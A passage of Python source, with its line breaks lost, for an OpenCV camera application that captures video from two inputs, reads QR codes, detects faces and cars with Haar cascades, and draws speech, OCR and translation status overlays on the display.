inp1_Height)/2) rect_img = cv2.resize(inp1_Image[0:inp1_Height, inp1_Width2:inp1_Height], (960,960)) rect_mat = cv2.getRotationMatrix2D((960, 960), int(cam1Rotate), 1.0) rect_r = cv2.warpAffine(rect_img, rect_mat, (960, 960), flags=cv2.INTER_LINEAR) input_img = cv2.resize(rect_r, (inp1_Width, inp1_Height)) elif abs(int(cam1Rotate)) == 180: #input_img = cv2.resize(inp1_Image, (inp1_Width, inp1_Height)) input_img = inp1_Image.copy() input_img = cv2.flip(input_img, 0) # 180 Rotation else: #input_img = cv2.resize(inp1_Image, (inp1_Width, inp1_Height)) input_img = inp1_Image.copy() inp1_Zoom = cam1Zoom if (inp1_Zoom != '1.0'): zm = float(inp1_Zoom) x1 = int((inp1_Width-(inp1_Width/zm))/2) x2 = inp1_Width - x1 y1 = int((inp1_Height-(inp1_Height/zm))/2) y2 = inp1_Height - y1 zm_img = input_img[y1:y2, x1:x2] #input_img = cv2.resize(zm_img, (inp1_Width, inp1_Height)) input_img = zm_img.copy() cn_s.put(['IMAGE', input_img.copy()]) inp1_busy = False if (cn_r.qsize() == 0): time.sleep(0.05) else: time.sleep(0.01) qFunc.logOutput('video_inp1:terminate') capture.release() while (cn_r.qsize() > 0): try: cn_r_get = cn_r.get() mode_get = cn_r_get[0] data_get = cn_r_get[1] cn_r.task_done() except: pass qFunc.logOutput('video_inp1:end') inp2_Height= 0 inp2_Width = 0 inp2_Image = None inp2_FPS = 0 inp2_Zoom = '1.0' inp2_start = 0 inp2_beat = 0 inp2_busy = False inp2_last = 0 inp2_seq = 0 def proc_inp2(cn_r, cn_s, ): global inp2_Height global inp2_Width global inp2_Image global inp2_FPS global inp2_Zoom global inp2_start global inp2_beat global inp2_busy global inp2_last global inp2_seq qFunc.logOutput('video_inp2:init') runMode = cn_r.get() cam2Dev = cn_r.get() cam2Rotate = int(cn_r.get()) cam2Mode = cn_r.get() cam2Zoom = cn_r.get() cam2Width,cam2Height = qGetResolution(cam2Mode) cam2Fps = 30 cn_r.task_done() qFunc.logOutput('video_inp2:runMode =' + str(runMode )) qFunc.logOutput('video_inp2:cam2Dev =' + str(cam2Dev )) qFunc.logOutput('video_inp2:cam2Rotate=' + str(cam2Rotate)) qFunc.logOutput('video_inp2:cam2Mode =' + str(cam2Mode )) qFunc.logOutput('video_inp2:cam2Zoom =' + str(cam2Zoom )) qFunc.logOutput('video_inp2:cam2Width =' + str(cam2Width )) qFunc.logOutput('video_inp2:cam2Height=' + str(cam2Height)) qFunc.logOutput('video_inp2:cam2Fps =' + str(cam2Fps )) capture = None if (cam2Dev.isdigit()): capture = cv2.VideoCapture(int(cam2Dev)) try: capture.set(3, int(cam2Width )) capture.set(4, int(cam2Height)) capture.set(5, int(cam2Fps )) except: pass else: capture = cv2.VideoCapture(cam2Dev) qFunc.logOutput('video_inp2:start') inp2_start = time.time() fps_class = qFPS() while (True): inp2_beat = time.time() if (cn_r.qsize() > 0): cn_r_get = cn_r.get() mode_get = cn_r_get[0] data_get = cn_r_get[1] cn_r.task_done() if (mode_get is None): qFunc.logOutput('video_inp2:None=break') break if (cn_r.qsize() > 1) or (cn_s.qsize() > 1): qFunc.logOutput('video_inp2: queue overflow warning!, ' + str(cn_r.qsize()) + ', ' + str(cn_s.qsize())) if (mode_get == 'PASS'): cn_s.put(['PASS', '']) elif (mode_get == 'ZOOM'): cam2Zoom = data_get cn_s.put(['OK', '']) else: inp2_busy = True ret, frame = capture.read() if (ret == False): qFunc.logOutput('video_inp2:capture error') time.sleep(5.00) cn_s.put(['END', '']) time.sleep(5.00) break else: inp2_FPS = fps_class.get() # frame_img inp2_Height, inp2_Width = frame.shape[:2] inp2_Image = frame.copy() # image_img if abs(int(cam2Rotate)) == 90: inp2_Width2 = int((inp2_Width - inp2_Height)/2) rect_img = cv2.resize(inp2_Image[0:inp2_Height, inp2_Width2:inp2_Height], (960,960)) rect_mat = cv2.getRotationMatrix2D((960, 960), int(cam2Rotate), 1.0) rect_r = cv2.warpAffine(rect_img, rect_mat, (960, 960), flags=cv2.INTER_LINEAR) display_img = cv2.resize(rect_r, (cam2Width, cam2Height)) elif abs(int(cam2Rotate)) == 180: display_img = cv2.resize(inp2_Image, (cam2Width, cam2Height)) display_img = cv2.flip(display_img, 0) # 180 Rotation else: display_img = cv2.resize(inp2_Image, (cam2Width, cam2Height)) inp2_Zoom = cam2Zoom if (inp2_Zoom != '1.0'): zm = float(inp2_Zoom) x1 = int((cam2Width-(cam2Width/zm))/2) x2 = cam2Width - x1 y1 = int((cam2Height-(cam2Height/zm))/2) y2 = cam2Height - y1 zm_img = display_img[y1:y2, x1:x2] display_img = cv2.resize(zm_img, (cam2Width, cam2Height)) cn_s.put(['IMAGE', display_img.copy()]) inp2_busy = False if (cn_r.qsize() == 0): time.sleep(0.25) else: time.sleep(0.05) qFunc.logOutput('video_inp2:terminate') capture.release() while (cn_r.qsize() > 0): try: cn_r_get = cn_r.get() mode_get = cn_r_get[0] data_get = cn_r_get[1] cn_r.task_done() except: pass qFunc.logOutput('video_inp2:end') reader_start = 0 reader_beat = 0 reader_busy = False reader_last = 0 reader_seq = 0 def proc_reader(cn_r, cn_s, ): global reader_start global reader_beat global reader_busy global reader_last global reader_seq qFunc.logOutput('v_reader__:init') runMode = cn_r.get() cam1Dev = cn_r.get() codeRead = cn_r.get() cn_r.task_done() qFunc.logOutput('v_reader__:runMode =' + str(runMode )) qFunc.logOutput('v_reader__:cam1Dev =' + str(cam1Dev )) qFunc.logOutput('v_reader__:codeRead =' + str(codeRead )) qFunc.logOutput('v_reader__:start') reader_start = time.time() while (True): reader_beat = time.time() if (cn_r.qsize() > 0): cn_r_get = cn_r.get() mode_get = cn_r_get[0] data_get = cn_r_get[1] cn_r.task_done() if (mode_get is None): qFunc.logOutput('v_reader__:None=break') break #if (cn_r.qsize() > 1) or (cn_s.qsize() > 1): if (cn_r.qsize() > 3) or (cn_s.qsize() > 3): qFunc.logOutput('v_reader__: queue overflow warning!, ' + str(cn_r.qsize()) + ', ' + str(cn_s.qsize())) if (mode_get == 'PASS'): cn_s.put(['PASS', '']) else: reader_busy = True res_put = False if (mode_get == 'INPUT'): image_img = data_get.copy() image_height, image_width = image_img.shape[:2] #read_width =int(image_width/4) #read_height = int(read_width * image_height / image_width) #read_img = cv2.resize(image_img, (read_width, read_height)) read_img = image_img.copy() read_height, read_width = read_img.shape[:2] gray1 = cv2.cvtColor(read_img, cv2.COLOR_BGR2GRAY) gray2 = cv2.equalizeHist(gray1) if (codeRead == 'qr'): #try: qrdetector = cv2.QRCodeDetector() #dt, p, qrx = qrdetector.detectAndDecode(read_img) dt, p, qrx = qrdetector.detectAndDecode(gray1) #dt, p, qrx = qrdetector.detectAndDecode(gray2) if dt: print(f'QR code data: {dt}') #print(f'QR code ver.: {((qrx.shape[0] - 21) / 4) + 1}') perspective1 = np.float32([p[0][0],p[1][0],p[2][0],p[3][0]]) sz = int(image_width/4) perspective2 = np.float32([[0, 0],[sz, 0],[sz, sz],[0, sz]]) i = 0 for xy in p: #print(xy[0,0],xy[0,1]) x = int(xy[0,0] * image_width / read_width ) y = int(xy[0,1] * image_height / read_height) if (x < 0): x = 0 if (y < 0): y = 0 perspective1[i, 0] = x perspective1[i, 1] = y i += 1 transform_matrix = cv2.getPerspectiveTransform(perspective1,perspective2) #matrix_img = cv2.warpPerspective(color, transform_matrix, (sz,sz)) matrix_img = cv2.warpPerspective(image_img, transform_matrix, (sz,sz)) cn_s.put(['READER', matrix_img.copy()]) res_put = True #except: #pass if (res_put != True): cn_s.put(['OK', '']) reader_busy = False if (cn_r.qsize() == 0): time.sleep(0.25) else: time.sleep(0.05) qFunc.logOutput('v_reader__:terminate') while (cn_r.qsize() > 0): try: cn_r_get = cn_r.get() mode_get = cn_r_get[0] data_get = cn_r_get[1] cn_r.task_done() except: pass qFunc.logOutput('v_reader__:end') compute_start = 0 compute_beat = 0 compute_busy = False compute_last = 0 compute_seq = 0 def proc_compute(cn_r, cn_s, ): global compute_start global compute_beat global compute_busy global compute_last global compute_seq proc_width,proc_height = qGetResolution('full') proc_width = int(proc_width / 4) proc_height = int(proc_height / 4) qFunc.logOutput('v_compute_:init') runMode = cn_r.get() cam1Dev = cn_r.get() casName1 = cn_r.get() casName2 = cn_r.get() cn_r.task_done() qFunc.logOutput('v_compute_:runMode =' + str(runMode )) qFunc.logOutput('v_compute_:cam1Dev =' + str(cam1Dev )) if (casName1 != 'none'): cas_nm1 = casName1[:-4] cas_nm1 = cas_nm1.replace('_xml/_vision_opencv_', '') qFunc.logOutput('v_compute_:casName1 =' + str(casName1 )) cascade1 = cv2.CascadeClassifier(casName1) haar_scale1 = 1.1 min_neighbors1 = 10 min_size1 = ( 15, 15) if (cas_nm1 == 'cars'): haar_scale1 = 1.1 min_neighbors1 = 3 min_size1 = ( 15, 15) if (casName2 != 'none'): cas_nm2 = casName2[:-4] cas_nm2 = cas_nm2.replace('_xml/_vision_opencv_', '') qFunc.logOutput('v_compute_:casName2 =' + str(casName2 )) cascade2 = cv2.CascadeClassifier(casName2) haar_scale2 = 1.1 min_neighbors2 = 15 min_size2 = ( 20, 20) if (cas_nm2 == 'cars'): haar_scale2 = 1.1 min_neighbors2 = 5 min_size2 = ( 20, 20) qFunc.logOutput('v_compute_:start') compute_start = time.time() while (True): compute_beat = time.time() if (cn_r.qsize() > 0): cn_r_get = cn_r.get() mode_get = cn_r_get[0] data_get = cn_r_get[1] cn_r.task_done() if (mode_get is None): qFunc.logOutput('v_compute_:None=break') break #if (cn_r.qsize() > 1) or (cn_s.qsize() > 1): if (cn_r.qsize() > 3) or (cn_s.qsize() > 3): qFunc.logOutput('v_compute_: queue overflow warning!, ' + str(cn_r.qsize()) + ', ' + str(cn_s.qsize())) if (mode_get == 'PASS'): cn_s.put(['PASS', '']) else: compute_busy = True res_put = False if (mode_get == 'INPUT'): image_img = data_get.copy() image_height, image_width = image_img.shape[:2] proc_img = image_img.copy() proc_height = int(proc_width * image_height / image_width) color = cv2.resize(image_img, (proc_width, proc_height)) gray1 = cv2.cvtColor(color, cv2.COLOR_BGR2GRAY) gray2 = cv2.equalizeHist(gray1) hit_count = 0 hit_count1 = 0 hit_count2 = 0 hit_img1 = None hit_img2 = None now=datetime.datetime.now() stamp=now.strftime('%Y%m%d.%H%M%S') filename=qPath_rec + stamp + '.' + cas_nm1 + '.jpg' #if (casName1 != 'none') and (not os.path.exists(filename)): if (casName1 != 'none'): rects1 = cascade1.detectMultiScale(gray2, scaleFactor=haar_scale1, minNeighbors=min_neighbors1, minSize=min_size1) if (not rects1 is None): for (hit_x, hit_y, hit_w, hit_h) in rects1: hit_count += 1 hit_count1 += 1 x = int(hit_x * image_width / proc_width ) y = int(hit_y * image_height / proc_height) w = int(hit_w * image_width / proc_width ) h = int(hit_h * image_height / proc_height) if (cas_nm1 == 'face'): if (x > 10): x -= 10 w += 20 if (y > 10): y -= 10 h += 20 if (x < 0): x = 0 if (y < 0): y = 0 if ((x + w) > image_width): w = image_width - x if ((y + h) > image_height): h = image_height - y cv2.rectangle(proc_img, (x,y), (x+w,y+h), (0,0,255), 2) if (hit_count1 == 1): hit_img1 = cv2.resize(image_img[y:y+h, x:x+w],(h,w)) filename1=filename filename2=filename.replace(qPath_rec, qPath_v_detect) if (not os.path.exists(filename1)) and (not os.path.exists(filename2)): try: cv2.imwrite(filename1, hit_img1) cv2.imwrite(filename2, hit_img1) except: pass qFunc.logOutput(u'v_compute_: โ†’ ' + filename2) filename1=qPath_v_photo + stamp + '.detect.jpg' filename2=qPath_rec + stamp + '.detect.jpg' if (not os.path.exists(filename1)) and (not os.path.exists(filename2)): try: cv2.imwrite(filename1, image_img) cv2.imwrite(filename2, image_img) except: pass filename=qPath_rec + stamp + '.' + cas_nm2 + '.jpg' #if (casName2 != 'none') and (not os.path.exists(filename)): if (casName2 != 'none'): rects2 = cascade2.detectMultiScale(gray2, scaleFactor=haar_scale2, minNeighbors=min_neighbors2, minSize=min_size2) if (not rects2 is None): for (hit_x, hit_y, hit_w, hit_h) in rects2: hit_count += 1 hit_count2 += 1 x = int(hit_x * image_width / proc_width ) y = int(hit_y * image_height / proc_height) w = int(hit_w * image_width / proc_width ) h = int(hit_h * image_height / proc_height) if (x < 0): x = 0 if (y < 0): y = 0 if ((x + w) > image_width): w = image_width - x if ((y + h) > image_height): h = image_height - y cv2.rectangle(proc_img, (x,y), (x+w,y+h), (0,255,0), 2) if (hit_count2 == 1): hit_img2 = cv2.resize(image_img[y:y+h, x:x+w],(h,w)) filename1=filename filename2=filename.replace(qPath_rec, qPath_v_detect) if (not os.path.exists(filename1)) and (not os.path.exists(filename2)): try: cv2.imwrite(filename1, hit_img2) cv2.imwrite(filename2, hit_img2) except: pass qFunc.logOutput(u'v_compute_: โ†’ ' + filename2) filename1=qPath_v_photo + stamp + '.detect.jpg' filename2=qPath_rec + stamp + '.detect.jpg' if (not os.path.exists(filename1)) and (not os.path.exists(filename2)): try: cv2.imwrite(filename1, image_img) cv2.imwrite(filename2, image_img) except: pass if (hit_count1 > 0): cn_s.put(['DETECT1', hit_img1.copy()]) res_put = True if (hit_count2 > 0): cn_s.put(['DETECT2', hit_img2.copy()]) res_put = True if (hit_count > 0): cn_s.put(['DETECT', proc_img.copy()]) res_put = True if (res_put != True): cn_s.put(['OK', '']) compute_busy = False if (cn_r.qsize() == 0): time.sleep(1.00) else: time.sleep(0.50) qFunc.logOutput('v_compute_:terminate') while (cn_r.qsize() > 0): try: cn_r_get = cn_r.get() mode_get = cn_r_get[0] data_get = cn_r_get[1] cn_r.task_done() except: pass qFunc.logOutput('v_compute_:end') def drawTextImage(texts, drawWidth=480): font18_default = ImageFont.truetype(qFONT_default['file'], 18, encoding='unic') font18_defaulty = qFONT_default['offset'] if (os.path.exists(qFONT_zh['file'])): font18_zh = ImageFont.truetype(qFONT_zh['file'] , 18, encoding='unic') font18_zhy = qFONT_zh['offset'] else: font18_zh = ImageFont.truetype(qFONT_default['file'], 18, encoding='unic') font18_zhy = qFONT_default['offset'] if (os.path.exists(qFONT_ko['file'])): font18_ko = ImageFont.truetype(qFONT_ko['file'] , 18, encoding='unic') font18_koy = qFONT_ko['offset'] else: font18_ko = ImageFont.truetype(qFONT_default['file'], 18, encoding='unic') font18_koy = qFONT_default['offset'] maxlen = 0 for i in range(0, len(texts)): if (texts[i][2:3] != ','): lenstr = len(texts[i]) * 2 if (maxlen < lenstr): maxlen = lenstr else: if (texts[i][:3] == 'ja,') \ or (texts[i][:3] == 'zh,') \ or (texts[i][:3] == 'ko,'): lenstr = len(texts[i]) * 2 if (maxlen < lenstr): maxlen = lenstr else: lenstr = len(texts[i]) if (maxlen < lenstr): maxlen = lenstr if (drawWidth != 0): text_img = Image.new('RGB', (drawWidth,10+30*len(texts)), (0xff, 0xff, 0xff)) text_draw = ImageDraw.Draw(text_img) else: text_img = Image.new('RGB', (50+9*maxlen,10+30*len(texts)), (0xff, 0xff, 0xff)) text_draw = ImageDraw.Draw(text_img) for i in range(0, len(texts)): if (texts[i][2:3] != ','): text_draw.text((5, 30*i + font18_defaulty), texts[i], font=font18_default, fill=(0x00, 0x00, 0x00)) else: if (texts[i][:3] == 'zh,'): text_draw.text((5, 30*i + font18_zhy), texts[i], font=font18_zh, fill=(0x00, 0x00, 0x00)) elif (texts[i][:3] == 'ko,'): text_draw.text((5, 30*i + font18_koy), texts[i], font=font18_ko, fill=(0x00, 0x00, 0x00)) else: text_draw.text((5, 30*i + font18_defaulty), texts[i], font=font18_default, fill=(0x00, 0x00, 0x00)) return np.asarray(text_img) speech_start = 0 speech_beat = 0 speech_busy = False speech_last = 0 speech_seq = 0 def proc_speech(cn_r, cn_s, ): global speech_start global speech_beat global speech_busy global speech_last global speech_seq qFunc.logOutput('v_speech__:init') runMode = cn_r.get() cam1Dev = cn_r.get() dspMode = cn_r.get() dspWidth,dspHeight = qGetResolution(dspMode) cn_r.task_done() qFunc.logOutput('v_speech__:runMode =' + str(runMode )) qFunc.logOutput('v_speech__:cam1Dev =' + str(cam1Dev )) qFunc.logOutput('v_speech__:dspMode =' + str(dspMode )) qFunc.logOutput('v_speech__:dspWidth =' + str(dspWidth )) qFunc.logOutput('v_speech__:dspHeight =' + str(dspHeight )) if (os.path.exists(qCtrl_recognize)): try: os.remove(qCtrl_recognize) except: pass if (os.path.exists(qCtrl_translate)): try: os.remove(qCtrl_translate) except: pass qFunc.logOutput('v_speech__:start') speech_start = time.time() wBusyChange = False wBusyCtrl = None wBusyInput = None wBusySTT = None wBusyTTS = None wBusyPlay = None while (True): speech_beat = time.time() if (cn_r.qsize() > 0): cn_r_get = cn_r.get() mode_get = cn_r_get[0] data_get = cn_r_get[1] cn_r.task_done() if (mode_get is None): qFunc.logOutput('v_speech__:None=break') break if (cn_r.qsize() > 1) or (cn_s.qsize() > 1): qFunc.logOutput('v_speech__: queue overflow warning!, ' + str(cn_r.qsize()) + ', ' + str(cn_s.qsize())) if (mode_get == 'PASS'): cn_s.put(['PASS', '']) else: speech_busy = True res_put = False # ๅˆถๅพกๆƒ…ๅ ฑ file=qCtrl_vision temp=file.replace('.txt', '.tmp') if (os.path.exists(temp)): try: os.remove(temp) except: pass if (os.path.exists(file)) and (not os.path.exists(temp)): inpText = '' try: os.rename(file, temp) rt = codecs.open(temp, 'r', 'shift_jis') for t in rt: inpText = (inpText + ' ' + str(t)).strip() rt.close rt = None except: pass # ็ต‚ไบ† if (inpText == '_end_'): cn_s.put(['END', '']) time.sleep( 5.00) res_put = True break # ใ‚ทใƒฃใƒƒใ‚ฟใƒผ if (inpText == '_shutter_'): cn_s.put(['_shutter_', '']) res_put = True # ใ‚บใƒผใƒ ใ‚คใƒณ if (inpText == '_zoom_in_'): cn_s.put(['ZOOMIN', '']) res_put = True # ใ‚บใƒผใƒ ใ‚ขใ‚ฆใƒˆ if (inpText == '_zoom_out_'): cn_s.put(['ZOOMOUT', '']) res_put = True # ๅฎŸ่กŒ็Šถๆณ็ขบ่ช wBusyChange = False check = qFunc.statusCheck(qBusy_s_ctrl) if (check != wBusyCtrl): wBusyCtrl = check wBusyChange = True check = qFunc.statusCheck(qBusy_s_inp ) if (check != wBusyInput): wBusyInput = check wBusyChange = True check = qFunc.statusCheck(qBusy_s_STT ) if (check != wBusySTT): wBusySTT = check wBusyChange = True check = qFunc.statusCheck(qBusy_s_TTS ) if (check != wBusyTTS): wBusyTTS = check wBusyChange = True check = qFunc.statusCheck(qBusy_s_play) if (check != wBusyPlay): wBusyPlay = check wBusyChange = True # ๆ–‡ๅญ—ๅˆ—ใ‚’ๆ็”ปใ™ใ‚‹ if (wBusyChange == True): texts=[] texts.append('[Speech Status]') if (wBusyCtrl == True): texts.append(' Ctrl : Busy!_') else: texts.append(' Ctrl : ______') if (wBusyInput == True): texts.append(' Input : Ready_') else: texts.append(' Input : ______') if (wBusySTT == True): texts.append(' STT : Busy!_') else: texts.append(' STT : ______') if (wBusyTTS == True): texts.append(' TTS : Busy!_') else: texts.append(' TTS : ______') if (wBusyPlay == True): texts.append(' Play : Busy!_') else: texts.append(' Play : ______') text_img = drawTextImage(texts, 150) cn_s.put(['_status_', text_img.copy()]) res_put = True # CV็ตๆžœ file=qCtrl_resultCV temp=file.replace('.txt', '.tmp') if (os.path.exists(temp)): try: os.remove(temp) except: pass if (os.path.exists(file)) and (not os.path.exists(temp)): texts=[] try: os.rename(file, temp) rt = codecs.open(temp, 'r', 'utf-8') for t in rt: t = str(t).strip() if (t != ''): texts.append(t) rt.close rt = None except: pass # ๆ–‡ๅญ—ๅˆ—ใ‚’ๆ็”ปใ™ใ‚‹ if (len(texts) >= 1): text_img = drawTextImage(texts, int(dspWidth * 0.4)) cn_s.put(['CV', text_img.copy()]) res_put = True # OCR็ตๆžœ file=qCtrl_resultOCR temp=file.replace('.txt', '.tmp') if (os.path.exists(temp)): try: os.remove(temp) except: pass if (os.path.exists(file)) and (not os.path.exists(temp)): texts=[] try: os.rename(file, temp) rt = codecs.open(temp, 'r', 'utf-8') for t in rt: t = str(t).strip() if (t != ''): texts.append(t) rt.close rt = None except: pass # ๆ–‡ๅญ—ๅˆ—ใ‚’ๆ็”ปใ™ใ‚‹ if (len(texts) >= 1): text_img = drawTextImage(texts, int(dspWidth * 0.4)) cn_s.put(['OCR', text_img.copy()]) res_put = True # OCR็ฟป่จณ็ตๆžœ file=qCtrl_resultTrn temp=file.replace('.txt', '.tmp') if (os.path.exists(temp)): try: os.remove(temp) except: pass if (os.path.exists(file)) and (not os.path.exists(temp)): texts=[] try: os.rename(file, temp) rt = codecs.open(temp, 'r', 'utf-8') for t in rt: t = str(t).strip() if (t != ''): texts.append(t) rt.close rt = None except: pass # ๆ–‡ๅญ—ๅˆ—ใ‚’ๆ็”ปใ™ใ‚‹ if (len(texts) >= 1): text_img = drawTextImage(texts, int(dspWidth * 0.4)) cn_s.put(['TRN', text_img.copy()]) res_put = True # ้Ÿณๅฃฐ่ช่ญ˜็ตๆžœ file=qCtrl_recognize temp=file.replace('.txt', '.tmp') if (os.path.exists(temp)): try: os.remove(temp) except: pass if (os.path.exists(file)) and (not os.path.exists(temp)): texts=[] try: os.rename(file, temp) rt = codecs.open(temp, 'r', 'utf-8') for t in rt: t = str(t).strip() if (t != ''): texts.append(t) rt.close rt = None except: pass # ๆ–‡ๅญ—ๅˆ—ใ‚’ๆ็”ปใ™ใ‚‹ if (len(texts) >= 1): text_img = drawTextImage(texts, int(dspWidth * 0)) #0.5->0 cn_s.put(['RECOGNIZE', text_img.copy()]) res_put = True # ๆฉŸๆขฐ็ฟป่จณ็ตๆžœ file=qCtrl_translate temp=file.replace('.txt', '.tmp') if (os.path.exists(temp)): try: os.remove(temp) except: pass if (os.path.exists(file)) and (not os.path.exists(temp)): texts=[] try: os.rename(file, temp) rt = codecs.open(temp, 'r', 'utf-8') for t in rt: t = str(t).strip() if (t != ''): texts.append(t) rt.close rt = None except: pass # ๆ–‡ๅญ—ๅˆ—ใ‚’ๆ็”ปใ™ใ‚‹ if (len(texts) >= 1): text_img = drawTextImage(texts, int(dspWidth * 0)) #0.5->0 cn_s.put(['TRANSLATE', text_img.copy()]) res_put = True if (res_put != True): cn_s.put(['OK', '']) speech_busy = False if (cn_r.qsize() == 0): time.sleep(0.25) else: time.sleep(0.05) qFunc.logOutput('v_speech__:terminate') while (cn_r.qsize() > 0): try: cn_r_get = cn_r.get() mode_get = cn_r_get[0] data_get = cn_r_get[1] cn_r.task_done() except: pass qFunc.logOutput('v_speech__:end') output_start = 0 output_beat = 0 output_busy = False output_last = 0 output_seq = 0 def proc_output(cn_r, cn_s, ): global inp1_Height global inp1_Width global inp1_Image global inp1_FPS global inp2_FPS global DisplayEvent, MousePointX, MousePointY global output_start global output_beat global output_busy global output_last global output_seq qFunc.logOutput('video_out_:init') runMode = cn_r.get() cam1Dev = cn_r.get() cam1Rotate = int(cn_r.get()) dspMode = cn_r.get() dspWidth,dspHeight = qGetResolution(dspMode) cn_r.task_done() qFunc.logOutput('video_out_:runMode =' + str(runMode )) qFunc.logOutput('video_out_:cam1Dev =' + str(cam1Dev )) qFunc.logOutput('video_out_:cam1Rotate=' + str(cam1Rotate)) qFunc.logOutput('video_out_:dspMode =' + str(dspMode )) qFunc.logOutput('video_out_:dspWidth =' + str(dspWidth )) qFunc.logOutput('video_out_:dspHeight =' + str(dspHeight )) blue_img = np.zeros((240,320,3), np.uint8) cv2.rectangle(blue_img,(0,0),(320,240),(255,0,0),-1) cv2.putText(blue_img, 'No Image !', (40,80), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (0,0,255)) display_img = cv2.resize(blue_img, (dspWidth, dspHeight )) input_img1 = display_img.copy() input_img2 = None reader_img = None reader_time = time.time() detect1_img = None detect1_time = time.time() detect2_img = None detect2_time = time.time() detect_img = None detect_time = time.time() status_img = None status_time = time.time() visionCV_img = None visionCV_time = time.time() visionOCR_img = None visionOCR_time = time.time() visionTrn_img = None visionTrn_time = time.time() disptext1_img = None disptext1_time = time.time() disptext2_img = None disptext2_time = time.time() disptext3_img = None disptext3_time = time.time() disptext4_img = None disptext4_time = time.time() disptext5_img = None disptext5_time = time.time() disptext6_img = None disptext6_time = time.time() qFunc.logOutput('video_out_:start') output_start = time.time() fps_class = qFPS() while (True): output_beat = time.time() if (cn_r.qsize() > 0): cn_r_get = cn_r.get() mode_get = cn_r_get[0] data_get = cn_r_get[1] cn_r.task_done() if (mode_get is None): qFunc.logOutput('video_out_:None=break') break #if (cn_r.qsize() > 1) or (cn_s.qsize() > 1): if (cn_r.qsize() > 3) or (cn_s.qsize() > 3): qFunc.logOutput('video_out_: queue overflow warning!, ' + str(cn_r.qsize()) + ', ' + str(cn_s.qsize())) if (mode_get == 'PASS'): cn_s.put(['PASS', '']) else: output_busy = True if (mode_get == 'READER'): reader_img = data_get.copy() reader_time = time.time() elif (mode_get == 'DETECT1'): detect1_img = data_get.copy() detect1_time = time.time() elif (mode_get == 'DETECT2'): detect2_img = data_get.copy() detect2_time = time.time() elif (mode_get == 'DETECT'): detect_img = data_get.copy() detect_time = time.time() elif (mode_get == '_status_'): status_img = data_get.copy() status_time = time.time() elif (mode_get == 'CV'): visionCV_img = data_get.copy() visionCV_time = time.time() elif (mode_get == 'OCR'): visionOCR_img = data_get.copy() visionOCR_time = time.time() elif (mode_get == 'TRN'): visionTrn_img = data_get.copy() visionTrn_time = time.time() elif (mode_get == 'RECOGNIZE'): disptext6_img = disptext5_img disptext6_time = disptext5_time disptext5_img = disptext4_img disptext5_time = disptext4_time disptext4_img = disptext3_img disptext4_time = disptext3_time disptext3_img = disptext2_img disptext3_time = disptext2_time disptext2_img = disptext1_img disptext2_time = disptext1_time disptext1_img = data_get.copy() disptext1_time = time.time() elif (mode_get == 'TRANSLATE'): disptext6_img = disptext5_img disptext6_time = disptext5_time disptext5_img = disptext4_img disptext5_time = disptext4_time disptext4_img = disptext3_img disptext4_time = disptext3_time disptext3_img = disptext2_img disptext3_time = disptext2_time disptext2_img = disptext1_img disptext2_time = disptext1_time disptext1_img = data_get.copy() disptext1_time = time.time() elif (mode_get == 'INPUT2'): input_img2 = data_get.copy() elif (mode_get == 'INPUT'): input_img1 = data_get.copy() input_height, input_width = input_img1.shape[:2] inp_fps = 'Inp: {:.1f}'.format(inp1_FPS) + 'fps' inp_src = str(inp1_Width) + 'x' + str(inp1_Height) if (inp1_Zoom != '1.0'): inp_src += ' (Zoom ' + inp1_Zoom + ')' out_fps = 'Out: {:.1f}'.format(fps_class.get()) + 'fps' out_src = str(dspWidth) + 'x' + str(dspHeight) display_img = cv2.resize(input_img1, (dspWidth, dspHeight)) if (abs(int(cam1Rotate)) == 360): display_img = cv2.flip(display_img,1) # Mirror image cv2.putText(display_img, inp_fps, ( 20,30), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (0,0,255)) cv2.putText(display_img, inp_src, (180,30), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (255,0,255)) cv2.putText(display_img, out_fps, ( 20,50), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (0,0,255)) cv2.putText(display_img, out_src, (180,50), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (255,0,255)) baseY = dspHeight - 80 baseX = 20 # input_img2 overlay if (not input_img2 is None): image_img = input_img2.copy() image_height, image_width = image_img.shape[:2] inp2_fps = 'Inp: {:.1f}'.format(inp2_FPS) + 'fps' inp2_src = str(inp2_Width) + 'x' + str(inp2_Height) if (inp2_Zoom != '1.0'): inp2_src += ' (Zoom ' + inp2_Zoom + ')' cv2.putText(image_img, inp2_fps, ( 20,20), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (0,0,255)) cv2.putText(image_img, inp2_src, (180,20), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (255,0,255)) wrkWidth = int(dspWidth * 0.25) wrkHeight = int(wrkWidth * image_height / image_width) overlay_img = cv2.resize(image_img, (wrkWidth, wrkHeight)) baseY -= wrkHeight if ((baseY+wrkHeight) < dspHeight): try: display_img[baseY:baseY+wrkHeight, baseX:baseX+wrkWidth] = overlay_img baseY = baseY - 20 except: qFunc.logOutput('vision_out: input_img2 overlay error!') baseY = 90 baseX = int(dspWidth * 0.65) # reader overlay if (not reader_img is None) \ and ((time.time() - reader_time) <= 5): image_img = reader_img.copy() image_height, image_width = image_img.shape[:2] wrkWidth = int(dspWidth * 0.30) wrkHeight = int(wrkWidth * image_height / image_width) overlay_img = cv2.resize(image_img, (wrkWidth, wrkHeight)) if ((baseY+wrkHeight) < dspHeight): try: display_img[baseY:baseY+wrkHeight, baseX:baseX+wrkWidth] = overlay_img baseY = baseY+wrkHeight + 20 except: qFunc.logOutput('vision_out: reader overlay error!') # detect1 overlay if (not detect1_img is None) \ and ((time.time() - detect1_time) <= 5): image_img = detect1_img.copy() image_height, image_width = image_img.shape[:2] wrkWidth = int(dspWidth * 0.30) wrkHeight = int(wrkWidth * image_height / image_width) overlay_img = cv2.resize(image_img, (wrkWidth, wrkHeight)) if ((baseY+wrkHeight) < dspHeight): try: display_img[baseY:baseY+wrkHeight, baseX:baseX+wrkWidth] = overlay_img baseY = baseY+wrkHeight + 20 except: qFunc.logOutput('vision_out: detect1 overlay error!') # detect2 overlay if (not detect2_img is None) \ and ((time.time() - detect2_time) <= 5): image_img = detect2_img.copy() image_height, image_width = image_img.shape[:2] wrkWidth = int(dspWidth * 0.30) wrkHeight = int(wrkWidth * image_height / image_width) overlay_img = cv2.resize(image_img, (wrkWidth, wrkHeight)) if ((baseY+wrkHeight) < dspHeight): try: display_img[baseY:baseY+wrkHeight, baseX:baseX+wrkWidth] = overlay_img baseY = baseY+wrkHeight + 20 except: 